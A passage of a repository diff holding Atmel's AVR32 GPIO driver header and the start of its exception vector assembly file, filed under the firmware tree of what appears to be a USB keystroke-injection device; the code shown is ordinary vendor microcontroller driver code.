* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _GPIO_H_
|
||||
#define _GPIO_H_
|
||||
|
||||
#include <avr32/io.h>
|
||||
#include "compiler.h"
|
||||
|
||||
/*! \name Return Values of the GPIO API
|
||||
*/
|
||||
//! @{
|
||||
#define GPIO_SUCCESS 0 //!< Function successfully completed.
|
||||
#define GPIO_INVALID_ARGUMENT 1 //!< Input parameters are out of range.
|
||||
//! @}
|
||||
|
||||
|
||||
/*! \name Interrupt Trigger Modes
|
||||
*/
|
||||
//! @{
|
||||
#define GPIO_PIN_CHANGE 0 //!< Interrupt triggered upon pin change.
|
||||
#define GPIO_RISING_EDGE 1 //!< Interrupt triggered upon rising edge.
|
||||
#define GPIO_FALLING_EDGE 2 //!< Interrupt triggered upon falling edge.
|
||||
//! @}
|
||||
|
||||
/*! \name Common defines for GPIO_FLAGS parameter
|
||||
*/
|
||||
//! @{
|
||||
#define GPIO_DIR_INPUT (0 << 0) //!< Pin is Input
|
||||
#define GPIO_DIR_OUTPUT (1 << 0) //!< Pin is Output
|
||||
#define GPIO_INIT_LOW (0 << 1) //!< Initial Ouptput State is Low
|
||||
#define GPIO_INIT_HIGH (1 << 1) //!< Initial Ouptput State is High
|
||||
#define GPIO_PULL_UP (1 << 2) //!< Pull-Up (when input)
|
||||
#define GPIO_PULL_DOWN (2 << 2) //!< Pull-Down (when input)
|
||||
#define GPIO_BUSKEEPER (3 << 2) //!< Bus Keeper
|
||||
#define GPIO_DRIVE_MIN (0 << 4) //!< Drive Min Configuration
|
||||
#define GPIO_DRIVE_LOW (1 << 4) //!< Drive Low Configuration
|
||||
#define GPIO_DRIVE_HIGH (2 << 4) //!< Drive High Configuration
|
||||
#define GPIO_DRIVE_MAX (3 << 4) //!< Drive Max Configuration
|
||||
#define GPIO_OPEN_DRAIN (1 << 6) //!< Open-Drain (when output)
|
||||
#define GPIO_INTERRUPT (1 << 7) //!< Enable Pin/Group Interrupt
|
||||
#define GPIO_BOTHEDGES (3 << 7) //!< Sense Both Edges
|
||||
#define GPIO_RISING (5 << 7) //!< Sense Risign Edge
|
||||
#define GPIO_FALLING (7 << 7) //!< Sense Falling Edge
|
||||
//! @}
|
||||
|
||||
//! A type definition of pins and modules connectivity.
|
||||
typedef struct
|
||||
{
|
||||
unsigned char pin; //!< Module pin.
|
||||
unsigned char function; //!< Module function.
|
||||
} gpio_map_t[];
|
||||
|
||||
|
||||
/*! \name Peripheral Bus Interface
|
||||
*
|
||||
* Low-speed interface with a non-deterministic number of clock cycles per
|
||||
* access.
|
||||
*
|
||||
* This interface operates with lower clock frequencies (fPB <= fCPU), and its
|
||||
* timing is not deterministic since it needs to access a shared bus which may
|
||||
* be heavily loaded.
|
||||
*
|
||||
* \note This interface is immediately available without initialization.
|
||||
*/
|
||||
//! @{
|
||||
|
||||
/*! \brief Enables specific module modes for a set of pins.
|
||||
*
|
||||
* \param gpiomap The pin map.
|
||||
* \param size The number of pins in \a gpiomap.
|
||||
*
|
||||
* \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT.
|
||||
*/
|
||||
extern int gpio_enable_module(const gpio_map_t gpiomap, uint32_t size);
|
||||
|
||||
/*! \brief Enables a specific module mode for a pin.
|
||||
*
|
||||
* \param pin The pin number.\n
|
||||
* Refer to the product header file `uc3x.h' (where x is the part
|
||||
* number; e.g. x = a0512) for module pins. E.g., to enable a PWM
|
||||
* channel output, the pin number can be AVR32_PWM_3_PIN for PWM
|
||||
* channel 3.
|
||||
* \param function The pin function.\n
|
||||
* Refer to the product header file `uc3x.h' (where x is the
|
||||
* part number; e.g. x = a0512) for module pin functions. E.g.,
|
||||
* to enable a PWM channel output, the pin function can be
|
||||
* AVR32_PWM_3_FUNCTION for PWM channel 3.
|
||||
*
|
||||
* \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT.
|
||||
*/
|
||||
extern int gpio_enable_module_pin(uint32_t pin, uint32_t function);
|
||||
|
||||
/*! \brief Enables the GPIO mode of a set of pins.
|
||||
*
|
||||
* \param gpiomap The pin map.
|
||||
* \param size The number of pins in \a gpiomap.
|
||||
*/
|
||||
extern void gpio_enable_gpio(const gpio_map_t gpiomap, uint32_t size);
|
||||
|
||||
/*! \brief Enables the GPIO mode of a pin.
|
||||
*
|
||||
* \param pin The pin number.\n
|
||||
* Refer to the product header file `uc3x.h' (where x is the part
|
||||
* number; e.g. x = a0512) for pin definitions. E.g., to enable the
|
||||
* GPIO mode of PX21, AVR32_PIN_PX21 can be used. Module pins such as
|
||||
* AVR32_PWM_3_PIN for PWM channel 3 can also be used to release
|
||||
* module pins for GPIO.
|
||||
*/
|
||||
extern void gpio_enable_gpio_pin(uint32_t pin);
|
||||
|
||||
// The open-drain mode is not synthesized on the current AVR32 products.
|
||||
// If one day some AVR32 products have this feature, the corresponding part
|
||||
// numbers should be listed in the #if below.
|
||||
// Note that other functions are available in this driver to use pins with open
|
||||
// drain in GPIO mode. The advantage of the open-drain mode functions over these
|
||||
// other functions is that they can be used not only in GPIO mode but also in
|
||||
// module mode.
|
||||
#if 0
|
||||
|
||||
/*! \brief Enables the open-drain mode of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_enable_pin_open_drain(uint32_t pin);
|
||||
|
||||
/*! \brief Disables the open-drain mode of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_disable_pin_open_drain(uint32_t pin);
|
||||
|
||||
#endif
|
||||
|
||||
/*! \brief Enables the pull-up resistor of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_enable_pin_pull_up(uint32_t pin);
|
||||
|
||||
/*! \brief Disables the pull-up resistor of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_disable_pin_pull_up(uint32_t pin);
|
||||
|
||||
#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED)
|
||||
// Added support of Pull-up Resistor, Pull-down Resistor and Buskeeper Control.
|
||||
|
||||
/*! \brief Enables the pull-down resistor of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_enable_pin_pull_down(uint32_t pin);
|
||||
|
||||
/*! \brief Disables the pull-down resistor of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_disable_pin_pull_down(uint32_t pin);
|
||||
|
||||
/*! \brief Enables the buskeeper functionality on a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_enable_pin_buskeeper(uint32_t pin);
|
||||
|
||||
/*! \brief Disables the buskeeper functionality on a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_disable_pin_buskeeper(uint32_t pin);
|
||||
|
||||
#endif
|
||||
|
||||
/*! \brief Configuration functionality on a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
* \param flags The configuration.
|
||||
*/
|
||||
extern void gpio_configure_pin(uint32_t pin, uint32_t flags);
|
||||
|
||||
/*! \brief Configuration functionality on a port.
|
||||
*
|
||||
* \param port The port number.
|
||||
* \param mask The mask.
|
||||
* \param flags The configuration.
|
||||
*/
|
||||
extern void gpio_configure_group(uint32_t port, uint32_t mask, uint32_t flags);
|
||||
|
||||
/*! \brief Returns the value of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \return The pin value.
|
||||
*/
|
||||
extern int gpio_get_pin_value(uint32_t pin);
|
||||
|
||||
/*!
|
||||
* \brief Check if the pin is in low logical level.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
* \return Bool 1 if the pin is in low logical level
|
||||
* 0 if the pin is not in low logical level
|
||||
*/
|
||||
#define gpio_pin_is_low(pin)\
|
||||
(gpio_get_pin_value(pin)?0:1)
|
||||
|
||||
/*!
|
||||
* \brief Check if the pin is in high logical level.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
* \return Bool 1 if the pin is in high logical level
|
||||
* 0 if the pin is not in high logical level
|
||||
*/
|
||||
#define gpio_pin_is_high(pin) \
|
||||
(gpio_get_pin_value(pin)?1:0)
|
||||
|
||||
/*! \brief Returns the output value set for a GPIO pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \return The pin output value.
|
||||
*
|
||||
* \note This function must be used in conjunction with \ref gpio_set_gpio_pin,
|
||||
* \ref gpio_clr_gpio_pin and \ref gpio_tgl_gpio_pin.
|
||||
*/
|
||||
extern int gpio_get_gpio_pin_output_value(uint32_t pin);
|
||||
|
||||
/*! \brief Returns the output value set for a GPIO pin using open drain.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \return The pin output value.
|
||||
*
|
||||
* \note This function must be used in conjunction with
|
||||
* \ref gpio_set_gpio_open_drain_pin, \ref gpio_clr_gpio_open_drain_pin
|
||||
* and \ref gpio_tgl_gpio_open_drain_pin.
|
||||
*/
|
||||
extern int gpio_get_gpio_open_drain_pin_output_value(uint32_t pin);
|
||||
|
||||
/*! \brief Drives a GPIO pin to 1.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_set_gpio_pin(uint32_t pin);
|
||||
|
||||
/*! \brief Drives a GPIO pin to 1.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \note The function \ref gpio_configure_pin must be called before.
|
||||
*/
|
||||
extern void gpio_set_pin_high(uint32_t pin);
|
||||
|
||||
|
||||
/*! \brief Drives a GPIO port to 1.
|
||||
*
|
||||
* \param port The port number.
|
||||
* \param mask The mask.
|
||||
*/
|
||||
extern void gpio_set_group_high(uint32_t port, uint32_t mask);
|
||||
|
||||
/*! \brief Drives a GPIO pin to 0.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_clr_gpio_pin(uint32_t pin);
|
||||
|
||||
/*! \brief Drives a GPIO pin to 0.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \note The function \ref gpio_configure_pin must be called before.
|
||||
*/
|
||||
extern void gpio_set_pin_low(uint32_t pin);
|
||||
|
||||
/*! \brief Drives a GPIO port to 0.
|
||||
*
|
||||
* \param port The port number.
|
||||
* \param mask The mask.
|
||||
*/
|
||||
extern void gpio_set_group_low(uint32_t port, uint32_t mask);
|
||||
|
||||
/*! \brief Toggles a GPIO pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_tgl_gpio_pin(uint32_t pin);
|
||||
|
||||
/*! \brief Toggles a GPIO pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \note The function \ref gpio_configure_pin must be called before.
|
||||
*/
|
||||
extern void gpio_toggle_pin(uint32_t pin);
|
||||
|
||||
/*! \brief Toggles a GPIO group.
|
||||
*
|
||||
* \param port The port number.
|
||||
* \param mask The mask.
|
||||
*/
|
||||
extern void gpio_toggle_group(uint32_t port, uint32_t mask);
|
||||
|
||||
/*! \brief Drives a GPIO pin to 1 using open drain.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_set_gpio_open_drain_pin(uint32_t pin);
|
||||
|
||||
/*! \brief Drives a GPIO pin to 0 using open drain.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_clr_gpio_open_drain_pin(uint32_t pin);
|
||||
|
||||
/*! \brief Toggles a GPIO pin using open drain.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_tgl_gpio_open_drain_pin(uint32_t pin);
|
||||
|
||||
/*! \brief Enables the glitch filter of a pin.
|
||||
*
|
||||
* When the glitch filter is enabled, a glitch with duration of less than 1
|
||||
* clock cycle is automatically rejected, while a pulse with duration of 2 clock
|
||||
* cycles or more is accepted. For pulse durations between 1 clock cycle and 2
|
||||
* clock cycles, the pulse may or may not be taken into account, depending on
|
||||
* the precise timing of its occurrence. Thus for a pulse to be guaranteed
|
||||
* visible it must exceed 2 clock cycles, whereas for a glitch to be reliably
|
||||
* filtered out, its duration must not exceed 1 clock cycle. The filter
|
||||
* introduces 2 clock cycles latency.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_enable_pin_glitch_filter(uint32_t pin);
|
||||
|
||||
/*! \brief Disables the glitch filter of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_disable_pin_glitch_filter(uint32_t pin);
|
||||
|
||||
/*! \brief Enables the interrupt of a pin with the specified settings.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
* \param mode The trigger mode (\ref GPIO_PIN_CHANGE, \ref GPIO_RISING_EDGE or
|
||||
* \ref GPIO_FALLING_EDGE).
|
||||
*
|
||||
* \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT.
|
||||
*/
|
||||
extern int gpio_enable_pin_interrupt(uint32_t pin, uint32_t mode);
|
||||
|
||||
/*! \brief Disables the interrupt of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_disable_pin_interrupt(uint32_t pin);
|
||||
|
||||
/*! \brief Gets the interrupt flag of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \return The pin interrupt flag.
|
||||
*/
|
||||
extern int gpio_get_pin_interrupt_flag(uint32_t pin);
|
||||
|
||||
/*! \brief Clears the interrupt flag of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
extern void gpio_clear_pin_interrupt_flag(uint32_t pin);
|
||||
|
||||
//! @}
|
||||
|
||||
|
||||
#if (defined AVR32_GPIO_LOCAL_ADDRESS)
|
||||
/*! \name Local Bus Interface
|
||||
*
|
||||
* High-speed interface with only one clock cycle per access.
|
||||
*
|
||||
* This interface operates with high clock frequency (fCPU), and its timing is
|
||||
* deterministic since it does not need to access a shared bus which may be
|
||||
* heavily loaded.
|
||||
*
|
||||
* \warning To use this interface, the clock frequency of the peripheral bus on
|
||||
* which the GPIO peripheral is connected must be set to the CPU clock
|
||||
* frequency (fPB = fCPU).
|
||||
*
|
||||
* \note This interface has to be initialized in order to be available.
|
||||
*/
|
||||
//! @{
|
||||
|
||||
/*! \brief Enables the local bus interface for GPIO.
|
||||
*
|
||||
* \note This function must have been called at least once before using other
|
||||
* functions in this interface.
|
||||
*/
|
||||
#if (defined __GNUC__)
|
||||
__attribute__((__always_inline__))
|
||||
#endif
|
||||
static inline void gpio_local_init(void)
|
||||
{
|
||||
Set_system_register(AVR32_CPUCR,
|
||||
Get_system_register(AVR32_CPUCR) | AVR32_CPUCR_LOCEN_MASK);
|
||||
}
|
||||
|
||||
/*! \brief Enables the output driver of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \note \ref gpio_local_init must have been called beforehand.
|
||||
*
|
||||
* \note This function does not enable the GPIO mode of the pin.
|
||||
* \ref gpio_enable_gpio_pin can be called for this purpose.
|
||||
*/
|
||||
#if (defined __GNUC__)
|
||||
__attribute__((__always_inline__))
|
||||
#endif
|
||||
static inline void gpio_local_enable_pin_output_driver(uint32_t pin)
|
||||
{
|
||||
AVR32_GPIO_LOCAL.port[pin >> 5].oders = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
/*! \brief Disables the output driver of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \note \ref gpio_local_init must have been called beforehand.
|
||||
*/
|
||||
#if (defined __GNUC__)
|
||||
__attribute__((__always_inline__))
|
||||
#endif
|
||||
static inline void gpio_local_disable_pin_output_driver(uint32_t pin)
|
||||
{
|
||||
AVR32_GPIO_LOCAL.port[pin >> 5].oderc = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
/*! \brief Returns the value of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \return The pin value.
|
||||
*
|
||||
* \note \ref gpio_local_init must have been called beforehand.
|
||||
*/
|
||||
#if (defined __GNUC__)
|
||||
__attribute__((__always_inline__))
|
||||
#endif
|
||||
static inline int gpio_local_get_pin_value(uint32_t pin)
|
||||
{
|
||||
return (AVR32_GPIO_LOCAL.port[pin >> 5].pvr >> (pin & 0x1F)) & 1;
|
||||
}
|
||||
|
||||
/*! \brief Drives a GPIO pin to 1.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \note \ref gpio_local_init must have been called beforehand.
|
||||
*
|
||||
* \note This function does not enable the GPIO mode of the pin nor its output
|
||||
* driver. \ref gpio_enable_gpio_pin and
|
||||
* \ref gpio_local_enable_pin_output_driver can be called for this
|
||||
* purpose.
|
||||
*/
|
||||
#if (defined __GNUC__)
|
||||
__attribute__((__always_inline__))
|
||||
#endif
|
||||
static inline void gpio_local_set_gpio_pin(uint32_t pin)
|
||||
{
|
||||
AVR32_GPIO_LOCAL.port[pin >> 5].ovrs = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
/*! \brief Drives a GPIO pin to 0.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \note \ref gpio_local_init must have been called beforehand.
|
||||
*
|
||||
* \note This function does not enable the GPIO mode of the pin nor its output
|
||||
* driver. \ref gpio_enable_gpio_pin and
|
||||
* \ref gpio_local_enable_pin_output_driver can be called for this
|
||||
* purpose.
|
||||
*/
|
||||
#if (defined __GNUC__)
|
||||
__attribute__((__always_inline__))
|
||||
#endif
|
||||
static inline void gpio_local_clr_gpio_pin(uint32_t pin)
|
||||
{
|
||||
AVR32_GPIO_LOCAL.port[pin >> 5].ovrc = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
/*! \brief Toggles a GPIO pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \note \ref gpio_local_init must have been called beforehand.
|
||||
*
|
||||
* \note This function does not enable the GPIO mode of the pin nor its output
|
||||
* driver. \ref gpio_enable_gpio_pin and
|
||||
* \ref gpio_local_enable_pin_output_driver can be called for this
|
||||
* purpose.
|
||||
*/
|
||||
#if (defined __GNUC__)
|
||||
__attribute__((__always_inline__))
|
||||
#endif
|
||||
static inline void gpio_local_tgl_gpio_pin(uint32_t pin)
|
||||
{
|
||||
AVR32_GPIO_LOCAL.port[pin >> 5].ovrt = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
/*! \brief Initializes the configuration of a GPIO pin so that it can be used
|
||||
* with GPIO open-drain functions.
|
||||
*
|
||||
* \note This function must have been called at least once before using
|
||||
* \ref gpio_local_set_gpio_open_drain_pin,
|
||||
* \ref gpio_local_clr_gpio_open_drain_pin or
|
||||
* \ref gpio_local_tgl_gpio_open_drain_pin.
|
||||
*/
|
||||
#if (defined __GNUC__)
|
||||
__attribute__((__always_inline__))
|
||||
#endif
|
||||
static inline void gpio_local_init_gpio_open_drain_pin(uint32_t pin)
|
||||
{
|
||||
AVR32_GPIO_LOCAL.port[pin >> 5].ovrc = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
/*! \brief Drives a GPIO pin to 1 using open drain.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \note \ref gpio_local_init and \ref gpio_local_init_gpio_open_drain_pin must
|
||||
* have been called beforehand.
|
||||
*
|
||||
* \note This function does not enable the GPIO mode of the pin.
|
||||
* \ref gpio_enable_gpio_pin can be called for this purpose.
|
||||
*/
|
||||
#if (defined __GNUC__)
|
||||
__attribute__((__always_inline__))
|
||||
#endif
|
||||
static inline void gpio_local_set_gpio_open_drain_pin(uint32_t pin)
|
||||
{
|
||||
AVR32_GPIO_LOCAL.port[pin >> 5].oderc = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
/*! \brief Drives a GPIO pin to 0 using open drain.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \note \ref gpio_local_init and \ref gpio_local_init_gpio_open_drain_pin must
|
||||
* have been called beforehand.
|
||||
*
|
||||
* \note This function does not enable the GPIO mode of the pin.
|
||||
* \ref gpio_enable_gpio_pin can be called for this purpose.
|
||||
*/
|
||||
#if (defined __GNUC__)
|
||||
__attribute__((__always_inline__))
|
||||
#endif
|
||||
static inline void gpio_local_clr_gpio_open_drain_pin(uint32_t pin)
|
||||
{
|
||||
AVR32_GPIO_LOCAL.port[pin >> 5].oders = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
/*! \brief Toggles a GPIO pin using open drain.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
* \note \ref gpio_local_init and \ref gpio_local_init_gpio_open_drain_pin must
|
||||
* have been called beforehand.
|
||||
*
|
||||
* \note This function does not enable the GPIO mode of the pin.
|
||||
* \ref gpio_enable_gpio_pin can be called for this purpose.
|
||||
*/
|
||||
#if (defined __GNUC__)
|
||||
__attribute__((__always_inline__))
|
||||
#endif
|
||||
static inline void gpio_local_tgl_gpio_open_drain_pin(uint32_t pin)
|
||||
{
|
||||
AVR32_GPIO_LOCAL.port[pin >> 5].odert = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
//! @}
|
||||
#endif // AVR32_GPIO_LOCAL_ADDRESS
|
||||
|
||||
#if UC3L
|
||||
//! @{
|
||||
/*! \name Peripheral Event System support
|
||||
*
|
||||
* The GPIO can be programmed to output peripheral events whenever an interrupt
|
||||
* condition is detected, such as pin value change, or only when a rising or
|
||||
* falling edge is detected.
|
||||
*
|
||||
*/
|
||||
|
||||
/*! \brief Enables the peripheral event generation of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
*/
|
||||
#if (defined __GNUC__)
|
||||
__attribute__((__always_inline__))
|
||||
#endif
|
||||
static inline void gpio_enable_pin_periph_event(uint32_t pin)
|
||||
{
|
||||
AVR32_GPIO.port[pin >> 5].oderc = 1 << (pin & 0x1F); // The GPIO output driver is disabled for that pin.
|
||||
AVR32_GPIO.port[pin >> 5].evers = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
/*! \brief Disables the peripheral event generation of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*
|
||||
*/
|
||||
#if (defined __GNUC__)
|
||||
__attribute__((__always_inline__))
|
||||
#endif
|
||||
static inline void gpio_disable_pin_periph_event(uint32_t pin)
|
||||
{
|
||||
AVR32_GPIO.port[pin >> 5].everc = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
/*! \brief Configure the peripheral event trigger mode of a pin
|
||||
*
|
||||
* \param pin The pin number.
|
||||
* \param mode The trigger mode (\ref GPIO_PIN_CHANGE, \ref GPIO_RISING_EDGE or
|
||||
* \ref GPIO_FALLING_EDGE).
|
||||
* \param use_igf use the Input Glitch Filter (true) or not (false).
|
||||
*
|
||||
* \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT.
|
||||
*/
|
||||
extern int gpio_configure_pin_periph_event_mode(uint32_t pin, uint32_t mode, uint32_t use_igf);
|
||||
|
||||
//! @}
|
||||
#endif
|
||||
|
||||
|
||||
#endif // _GPIO_H_
|
237
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/exception.S
Executable file
237
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/exception.S
Executable file
|
@ -0,0 +1,237 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief Exception and interrupt vectors.
|
||||
*
|
||||
* This file maps all events supported by an AVR32.
|
||||
*
|
||||
* - Compiler: GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices with an INTC module can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#if !__AVR32_UC__ && !__AVR32_AP__
|
||||
#error Implementation of the AVR32 architecture not supported by the INTC driver.
|
||||
#endif
|
||||
|
||||
|
||||
#include <avr32/io.h>
|
||||
|
||||
|
||||
//! @{
|
||||
//! \verbatim
|
||||
|
||||
|
||||
.section .exception, "ax", @progbits
|
||||
|
||||
|
||||
// Start of Exception Vector Table.
|
||||
|
||||
// EVBA must be aligned with a power of two strictly greater than the EVBA-
|
||||
// relative offset of the last vector.
|
||||
.balign 0x200
|
||||
|
||||
// Export symbol.
|
||||
.global _evba
|
||||
.type _evba, @function
|
||||
_evba:
|
||||
|
||||
.org 0x000
|
||||
// Unrecoverable Exception.
|
||||
_handle_Unrecoverable_Exception:
|
||||
rjmp $
|
||||
|
||||
.org 0x004
|
||||
// TLB Multiple Hit.
|
||||
_handle_TLB_Multiple_Hit:
|
||||
rjmp $
|
||||
|
||||
.org 0x008
|
||||
// Bus Error Data Fetch.
|
||||
_handle_Bus_Error_Data_Fetch:
|
||||
rjmp $
|
||||
|
||||
.org 0x00C
|
||||
// Bus Error Instruction Fetch.
|
||||
_handle_Bus_Error_Instruction_Fetch:
|
||||
rjmp $
|
||||
|
||||
.org 0x010
|
||||
// NMI.
|
||||
_handle_NMI:
|
||||
rjmp $
|
||||
|
||||
.org 0x014
|
||||
// Instruction Address.
|
||||
_handle_Instruction_Address:
|
||||
rjmp $
|
||||
|
||||
.org 0x018
|
||||
// ITLB Protection.
|
||||
_handle_ITLB_Protection:
|
||||
rjmp $
|
||||
|
||||
.org 0x01C
|
||||
// Breakpoint.
|
||||
_handle_Breakpoint:
|
||||
rjmp $
|
||||
|
||||
.org 0x020
|
||||
// Illegal Opcode.
|
||||
_handle_Illegal_Opcode:
|
||||
rjmp $
|
||||
|
||||
.org 0x024
|
||||
// Unimplemented Instruction.
|
||||
_handle_Unimplemented_Instruction:
|
||||
rjmp $
|
||||
|
||||
.org 0x028
|
||||
// Privilege Violation.
|
||||
_handle_Privilege_Violation:
|
||||
rjmp $
|
||||
|
||||
.org 0x02C
|
||||
// Floating-Point: UNUSED IN AVR32UC and AVR32AP.
|
||||
_handle_Floating_Point:
|
||||
rjmp $
|
||||
|
||||
.org 0x030
|
||||
// Coprocessor Absent: UNUSED IN AVR32UC.
|
||||
_handle_Coprocessor_Absent:
|
||||
rjmp $
|
||||
|
||||
